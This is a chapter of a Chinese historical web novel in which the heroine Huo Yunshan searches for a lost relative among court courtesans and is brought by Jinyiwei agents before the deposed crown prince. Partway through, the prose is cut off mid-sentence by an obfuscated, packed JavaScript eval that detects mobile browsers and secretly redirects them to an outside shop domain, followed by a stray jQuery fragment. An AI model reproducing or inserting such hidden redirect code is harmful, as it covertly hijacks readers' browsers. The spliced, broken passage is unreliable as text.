珲山顺利跟上来,朝霍云山略带腼腆地笑笑。
霍云山看出他眼里都快好奇死了,憋得挺辛苦。便问:“是赦拓让你来的?跟着我?”
珲山点头。
“知道我是谁么?”
珲山忽然咧开嘴笑了,很天真灿烂的那种笑,说:“知道,是我们四王子从福王那里抢来的女人么!”
霍云山震惊地看着他,问:“这是你们四王子跟你说的?”
珲山抿嘴笑着摇头,说:“这不是很明白么,人家都找上门了。”
霍云山好笑,决定不在这上面头费劲,转而说:“那你听我的话吧?”
珲山说:“四王子让我保护你。没说听你的话。”
霍云山翻个白眼,说:“那好,跟上!跟丢了自己回去。”话音刚落,没等珲山“好”字说完,趁机一脚把珲山踹进了护城河里。
珲山果然是个旱鸭子,在河里扑腾,已经吸引人来救。霍云山便朝他摆摆手,潇洒地跑了。
逃跑的方向正是福王府。
福王府侧门前的小厮张望见霍云山,忙飞奔过来牵马,领着霍云山一路到怡性斋。
果然福王殿下仍在忿忿。
铁七爷送给霍云山一个“自求多福”的眼神。
霍云山看着李慈晏的后脑勺半天,心说这脑袋挺圆滑的,没有个把儿啊,怎么脾气这么难相处呢?
李慈晏知道霍云山进来,但等了半天也没动静,扭头一看,发现霍云山认认真真盯着自己在看,不知怎么才白回来的耳朵忽然又红了,也不觉得怒了,赶紧把桌上的一页纸递给霍云山。
“第一栏是闺名,第二个名儿是改的花名,后面两栏是年岁及哪一年入教坊司。”
霍云山小心接住,心想:“这福王其实是个好人,就是什么话都不说,得让人猜。”口中却道:“多谢殿下。”
李慈晏看霍云山看得仔细,解释完便没说话,让她细细看完。
霍云山翻到第二页,停在一个名字上,暗暗记下,她不动声色,依次把名单看完,没有重名。她对李慈晏说:“多谢殿下。”
“没什么好谢的,酬金罢了,正好两讫。”李慈晏带气说完“两讫”二字略觉不妥,想收回。
却听霍云山说:“殿下一诺千金。没想到这样快便有了结果,还劳烦殿下亲自跑一趟,云山惭愧。”
“只是小事一桩,礼部那里自有教坊司名单,让他们抄录来便是。”李慈晏说:“你要这些做什么?七爷说没来得及问你。”
“找人。”霍云山答道,又问:“这些人都在教坊司么?”
“嗯,建元三年到建元十年之间获罪的犯妇都充入教坊司,流放的极少。”李慈晏说:“不过这些人,又过了这么些年恐怕散落难寻。你若是有什么需要我的,我可以帮忙。”
霍云山一笑,说:“我先试试,走不过去了再劳动您大驾。”
李慈晏看着霍云山,只觉得她似乎有些不一样----眉梢带俏,粉面红唇,神采飞扬中多了几分妩媚。想到她与那突厥四王子夜宿宛平,李慈晏心中难受,将头扭向一边。
霍云山正一心在这名单上,哪里注意李慈晏,她把名单小心收好。
李慈晏见她要走的样子,急道:“你这就要走吗?”
“正好没什么事,早点儿去。”霍云山问:“王爷还有什么别的事么?”
李慈晏没回答。其实他有很多话想对霍云山说,但不知道如何开口。
霍云山递回七爷的扳指。
李慈晏却开口道:“这个不用还,你拿着今后或许用的着。这次已经说了算是你帮我治病的酬劳。我便不欠你什么了。”
霍云山说:“没有两讫,我记得,我还欠你的。”她指李慈晏放她出福王府的事情。
李慈晏闻言,心中顿时云销雨霁。
霍云山独自去教坊司,倒有些近乡情怯的味道,看到自己微微颤抖的指尖,好笑。索性折返回去,找了个豆腐脑挑子,蹲在路边边吃边望着教坊司平复情绪。
过了这么些年,这比找上线还忐忑。
霍云山吃了一半,忽然想到,自己这一去似乎不太合适。最好找个男人方便行事。这个念头一冒出来想到的第一个人就是珲山,但珲山知道了赦拓肯定也知道。转而想到李慈晏,霍云山赶紧甩开这念头。
她不想让人再知道得多一些了。
没有什么明确的原因,但霍云山内心深处有个声音时刻提醒自己,寻亲这件事情越少人知道越好。
霍云山已经干掉了一张盆大的饼,这碗豆花吃了半天还剩一半。老板正忙着招呼生意,霍云山笑道:“老板生意好啊!”
这会子老板抽空蹲下歇脚,说:“嗨,好什么,小本生意糊口饭吃。”
霍云山一笑,道“京城混口饭可不容易啊。老板能在这儿做生意,有本事。”
老板哈哈一笑,刚要说话,又来了生意。
是个年纪不大的男人,自带了碗,从红线搭膊里掏出几个钱,丢到豆花摊子上。
霍云山看他果然踅进教坊司里去了。
“嘿,他们这么早就起来了。”霍云山道。
“哪是早,这是吃了饭才去睡。”老板的笑容里意味深长,“他们跟寻常人反的,咱们是早晨开门做生意,晚上睡觉,他们是晚上开门迎客。”
“难怪了,我说这么冷清呢。”霍云山跟着笑了两声,望见对面有两个人闪身而过,一时愣住,这两人形容气质与早间看到的这些人决然不同。
“我说,你一个女娃子到这地方来做什么?”老板问。
霍云山把剩下的豆花倒进嘴里,随口答道:“来找人。”
老板指着里头,问:“里头的人?”
霍云山拍给老板一个铜板,起身藏进旁边一条夹道中。那两人一里一外,各据一方,分明是在守株待兔。
兔子是谁?
不会是她吧。
霍云山走过两条街,霍云山暗自庆幸养成了在目标地周围转转的习惯,抬眼却笑不出来了。前头两人堵在巷口,那身飞鱼服晃得她眼发花。
其中一个人转过身来,正是陆谦。
“霍大夫,陆某久候多时了。”
霍云山余光扫到后背也被人截住,口中道:“原来是陆大人,不知等我做什么?”
陆谦笑道:“请霍大夫帮一点小忙。”
霍云山看了前后左右四个锦衣卫,说:“嗯,一点小忙这么大架势。”人乖乖跟上陆谦。
“霍大夫在找人?”
霍云山看他专心整理前襟,一副成竹在胸的样子,反问道:“是吗?”
“这个人到过戒台寺,又去过东宫,最后落入教坊司。”陆谦抬眼,精光一闪:“是个女人,是霍大夫旧友么?哦,十多年前,霍大夫还是金钗豆蔻之年,千里迢迢千辛万苦来寻人,似乎不合常理。那便
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376641|141030||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是亲眷?”
霍云山闻言,说:“陆大人对我这个小人物倒是挺关心。”
陆谦笑道:“这女人入得了东宫,进得去皇家寺庙,那便是大家闺秀。建元三年到建元十年之间,犯官祸及满门,女眷充入教坊司的,只有谢、杨两家。”陆谦扭头朝霍云山一笑,问:“霍大夫是姓杨还是姓谢?”
“你猜?”
陆谦大笑,说:“事关霍姑娘认祖归宗,陆某不敢妄言,自有人能识破。”
霍云山脸色变了一变,她偷看了对面一眼,陆谦警觉地揭开窗帘一角,一双鹰眼既亮又狠。不禁暗道一声:“认栽。锦衣卫当真名不虚传。”
落地在一处十分幽静的宅院。
灯火幽暗,空气清冷。
黑暗中走来一个男人,身披斗篷,帽子上一圈油亮的细毛,被不知哪里来的暗风吹得瑟瑟颤动,姿态从容,步履坚定。
他在霍云山跟前停下,很高,霍云山仰着脖子看他,等他掀下帽子,霍云山险些叫出“福王”,但她立马否定了自己的念头。这人面相比李慈晏凌厉,剑眉星目,气势却含而不露。
他低头仔细打量霍云山,霍云山也直愣愣看过去。
他直白地看着霍云山的眼睛,霍云山趁着眨眼的功夫让自己歇气,看似也毫不示弱地盯着对方,其实早就败下阵来。
对方显然察觉了这一点,忽而一笑,这一笑很特别,干净得让霍云山一愣。
“霍云山。”这人声音温柔,他说,“我是李慈煊。”
霍云山倒吸一口凉气,目瞪口呆地瞪着李慈煊,说:“太,太……”
“现在是废王。”李慈煊说,“不是太子,更不是太太。”
霍云山笑不出来。
“你师父岳广微让你给我带的东西呢?”
霍云山再次石化,舌头打结地四处找陆谦:“我给陆谦了,他对上了,我以为他会给对的人。不知道他没给你。”
李慈煊看着霍云山支支吾吾的样子,笑了,笑得很灿烂,依然干净,说:“那可怎么办?”
这下霍云山也看出李慈煊是在逗自己开心了,干笑了两声,不作答。
门被打开,进来两个女子,一人着红,艳丽夺目;一人着白,清雅风流。二人进来,朝李慈煊盈盈一拜,姿态婀娜,浅笑倩然。
霍云山就算没出入过烟花地,也猜出二人身份。
此时陆谦打点完一干事情,也推门进来,看了眼屋中,问:“留哪一个?”
李慈煊看了霍云山一眼,说:“柔奴留下。”
红衣女子悄然退出。
柔奴浅浅一笑,眼中波光流转,眼风将屋中三人皆扫了一遍。
李慈煊说:“柔奴弹得一曲好琵琶,捡个欢快些的曲子唱来。”
霍云山在下首坐下,看李慈煊跟陆谦听曲。
“霍云山,你觉得柔奴弹得如何?”李慈煊问。
霍云山在一心一意走神,没留神曲子唱完了,看柔奴柔柔弱弱地望着她,口中连道:“好,蛮好。”
“好在哪里?”
这把霍云山问得一愣,看废王一脸认真地等她回答,顿感莫名其妙,索性说:“我也不知道好在哪里。我是个粗人,对这些琴棋书画风雅东西,其实全不懂。姑娘弹得再好,在我这里也是对牛弹琴了。”
柔奴浅笑。
“柔奴”李慈煊转头问柔奴,“你是几年入的教坊司?”